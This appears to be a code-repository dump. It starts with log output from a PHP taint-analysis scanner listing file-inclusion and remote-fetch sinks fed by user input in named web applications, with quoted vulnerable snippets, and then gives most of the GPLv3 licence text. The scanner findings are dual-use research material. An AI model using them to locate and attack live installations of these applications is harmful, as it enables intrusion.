[FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:403: if ($image = @file_get_contents($url)) { 109 | [0m [1;31m[FOPEN] 110 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:358: $url .= "/index.aspx?type=xw12&isbn={$_GET['isn']}/{$size}&client={$id}"; 111 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:271:function processImageURL($url, $cache = true) 112 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:359: if ($image = @file_get_contents($url)) { 113 | [0m [1;31m[FOPEN] 114 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:429: $url = 'http://covers.openlibrary.org/b/isbn/' . $_GET['isn'] . 115 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:271:function processImageURL($url, $cache = true) 116 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:431: if ($image = @file_get_contents($url)) { 117 | [FOPEN] 118 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:401: $url = 'http://covers.librarything.com/devkey/' . $id . '/' . $_GET['size'] . 119 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:271:function processImageURL($url, $cache = true) 120 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:403: if ($image = @file_get_contents($url)) { 121 | [FOPEN] 122 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:358: $url .= "/index.aspx?type=xw12&isbn={$_GET['isn']}/{$size}&client={$id}"; 123 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:271:function processImageURL($url, $cache = true) 124 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:359: if ($image = @file_get_contents($url)) { 125 | 126 | 127 | [0m [1;31m[EXEC] 128 | [EXEC]/home/scary/victims//Package_Legacy_2_2_1_Beta_3/r2_2_01_Beta_3/extras/extra_languages/tw_utf-8/html/install/index.php:92:$custom_fname = './custom/install_'.$op.'.inc.php'; 129 | [EXEC]/home/scary/victims//Package_Legacy_2_2_1_Beta_3/r2_2_01_Beta_3/extras/extra_languages/tw_utf-8/html/install/index.php:81:if(!empty($_POST['op'])) { 130 | [EXEC]/home/scary/victims//Package_Legacy_2_2_1_Beta_3/r2_2_01_Beta_3/extras/extra_languages/tw_utf-8/html/install/index.php:82: $op = $_POST['op']; 131 | [EXEC]/home/scary/victims//Package_Legacy_2_2_1_Beta_3/r2_2_01_Beta_3/extras/extra_languages/tw_utf-8/html/install/index.php:83:} elseif(!empty($_GET['op'])) { 132 | [EXEC]/home/scary/victims//Package_Legacy_2_2_1_Beta_3/r2_2_01_Beta_3/extras/extra_languages/tw_utf-8/html/install/index.php:84: $op = $_GET['op']; 133 | [EXEC]/home/scary/victims//Package_Legacy_2_2_1_Beta_3/r2_2_01_Beta_3/extras/extra_languages/tw_utf-8/html/install/index.php:86: $op = 'langselect'; 134 | [EXEC]/home/scary/victims//Package_Legacy_2_2_1_Beta_3/r2_2_01_Beta_3/extras/extra_languages/tw_utf-8/html/install/index.php:90:$op=basename($op); 135 | [EXEC]/home/scary/victims//Package_Legacy_2_2_1_Beta_3/r2_2_01_Beta_3/extras/extra_languages/tw_utf-8/html/install/index.php:96: include $custom_fname; 136 | 137 | 138 | 139 | [root@node5 victims]# grep EXEC *log 140 | batavi-1.2.2.AUTO_SCARY.log:[EXEC]../victims//batavi-1.2.2/ext/smarty/demo/../libs/Smarty.class.php:1330:config_load::$this:require_once($this->_get_plugin_filepath('function', 'config_load')); 141 | batavi-1.2.2.AUTO_SCARY.log:[EXEC]../victims//batavi-1.2.2/ext/smarty/demo/../libs/Smarty.class.php:1330:config_load::$this:require_once($this->_get_plugin_filepath('function', 'config_load')); 142 | batavi-1.2.2.AUTO_SCARY.log:[EXEC]../victims//batavi-1.2.2/ext/smarty/demo/../libs/Smarty.class.php:1878:config_load::config_load::_config_load::config_load::config_load::_config_load::_smarty_include::$_smarty_compile_path:include($_smarty_compile_path); 143 | batavi-1.2.2.AUTO_SCARY.log:[EXEC]../victims//batavi-1.2.2/ext/smarty/demo/../libs/Smarty.class.php:1265:$_smarty_compile_path:include($_smarty_compile_path); 144 | batavi-1.2.2.AUTO_SCARY.log:[EXEC]../victims//batavi-1.2.2/ext/smarty/demo/../libs/Smarty.class.php:1272:$_smarty_compile_path:include($_smarty_compile_path); 145 | batavi-1.2.2.AUTO_SCARY.log:[EXEC]../victims//batavi-1.2.2/ext/smarty/demo/../libs/Smarty.class.php:1460:config_load::config_load::_config_load::config_load::config_load::_config_load::_compile_source::$this:require_once(SMARTY_DIR . $this->compiler_file); 146 | batavi-1.2.2.AUTO_SCARY.log:[EXEC]../victims//batavi-1.2.2/ext/smarty/demo/../libs/Smarty.class.php:1463:config_load::config_load::_config_load::config_load::config_load::_config_load::_compile_source::$this:require_once($this->compiler_file); 147 | batavi-1.2.2.AUTO_SCARY.log:[EXEC]../victims//batavi-1.2.2/ext/smarty/demo/../libs/Smarty.class.php:1330:config_load::$this:require_once($this->_get_plugin_filepath('function', 'config_load')); 148 | batavi-1.2.2.AUTO_SCARY.log:[EXEC]../victims//batavi-1.2.2/ext/smarty/demo/../libs/Smarty.class.php:1330:config_load::$this:require_once($this->_get_plugin_filepath('function', 'config_load')); 149 | batavi-1.2.2.AUTO_SCARY.log:[EXEC]../victims//batavi-1.2.2/ext/smarty/demo/../libs/Smarty.class.php:1878:config_load::config_load::_config_load::config_load::config_load::_config_load::_smarty_include::$_smarty_compile_path:include($_smarty_compile_path); 150 | batavi-1.2.2.AUTO_SCARY.log:[EXEC]../victims//batavi-1.2.2/ext/smarty/demo/../libs/Smarty.class.php:1265:$_smarty_compile_path:include($_smarty_compile_path); 151 | batavi-1.2.2.AUTO_SCARY.log:[EXEC]../victims//batavi-1.2.2/ext/smarty/demo/../libs/Smarty.class.php:1272:$_smarty_compile_path:include($_smarty_compile_path); 152 | batavi-1.2.2.AUTO_SCARY.log:[EXEC]../victims//batavi-1.2.2/ext/smarty/demo/../libs/Smarty.class.php:1460:config_load::config_load::_config_load::config_load::config_load::_config_load::_compile_source::$this:require_once(SMARTY_DIR . $this->compiler_file); 153 | batavi-1.2.2.AUTO_SCARY.log:[EXEC]../victims//batavi-1.2.2/ext/smarty/demo/../libs/Smarty.class.php:1463:config_load::config_load::_config_load::config_load::config_load::_config_load::_compile_source::$this:require_once($this->compiler_file); 154 | 155 | x2engine: 156 | $lang = isset($_GET['language']) ? strtolower($_GET['language']) : ''; // get language setting, default to none (english) 157 | 158 | if (array_key_exists($lang, $languages)) // is this language installed? 159 | $installMessageFile = "protected/messages/$lang/install.php"; 160 | 161 | 162 | [XSS]/home/scary/victims//booking_calendar_10e-112-10-18/booking_calendar/includes/widgets/loc_nav_widget.php:25: >

163 | 164 | require_once("../inc/vmsql.".$_data['dbtype'].".php"); 165 | 166 | $login=($_GET["login"])?$_GET["login"]:$_POST["login"]; 167 | if (file_exists ("conf$login.php")) { 168 | require "conf$login.php"; 169 | } else { 170 | require "conf.php"; 171 | } 172 | -------------------------------------------------------------------------------- /doc/LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, 